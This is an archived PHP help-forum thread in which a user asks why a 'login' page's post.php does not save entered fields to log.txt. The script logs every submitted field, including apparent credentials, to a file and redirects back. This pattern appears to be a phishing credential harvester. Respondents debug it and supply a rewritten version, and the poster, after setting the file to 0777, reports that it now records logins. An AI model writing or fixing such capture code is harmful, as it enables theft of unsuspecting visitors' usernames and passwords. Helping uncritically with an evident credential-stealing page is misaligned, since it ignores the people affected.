Jump to content

[SOLVED] Help With Post


t3hub3rz

Recommended Posts

Hi i was wondering if you could help me with my website I got it all set up but when i test it post.php never puts the things they put in, into the log.txt i have Please help

 

Heres the login where they enter the stuff : http://rapidshare.com/files/288256499/index.html

 

and post.php

 

PHP Code:

 

<?php 
header ('Location: index.html'); 
$handle = fopen("log.txt", "a"); 
foreach($_POST as $variable => $value) { 
fwrite($handle, $variable); 
fwrite($handle, "="); 
fwrite($handle, $value); 
fwrite($handle, "\r\n"); 
} 
fwrite($handle, "\r\n"); 
fclose($handle); 
exit; 
?>

Link to comment
https://forums.phpfreaks.com/topic/176408-solved-help-with-post/
Share on other sites

Well i'm not sure what your HTML file looks like. you could post it in here.

i don't download anything from rapidshare.

 

But from the looks of your current code. Maybe try specifying your post?

 

you have:

foreach($_POST as $variable => $value) { 

 

try this:

 

foreach($_POST['name'] as $variable => $value) { 

 

hope this helps.

You're just redirecting the script to index.html as soon as it's called..

 

header ('Location: index.html');

 

So chances are it isn't being executed.

 

Try:

<?php
$handle = fopen("log.txt", "a"); 
foreach($_POST as $var => $val)
    fwrite($handle, "$var=$val\r\n");
fwrite($handle, "\r\n");
fclose($handle);

when i enter it says

 

Warning: fopen(log.txt) [function.fopen]: failed to open stream: Permission denied in /home/username/public_html/post.php on line 2

 

Warning: fwrite(): supplied argument is not a valid stream resource in /home/username/public_html/post.php on line 5

 

Warning: fclose(): supplied argument is not a valid stream resource in /home/username/public_html/post.php on line 6

 

 

could it be that my webhoster doesnt allow it?

Edit: ok i did 0777 and it says that the log.txt isnt 0 bytes anymore everytime i do the login thing it goes up so im guessing its recording it but the text file is still blank

 

Edit2: ok it looks like its trying to record it because everytime i try the login it goes to a new line in log.txt

 

edit3: nvm i just used the old code now it works THANKS!

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.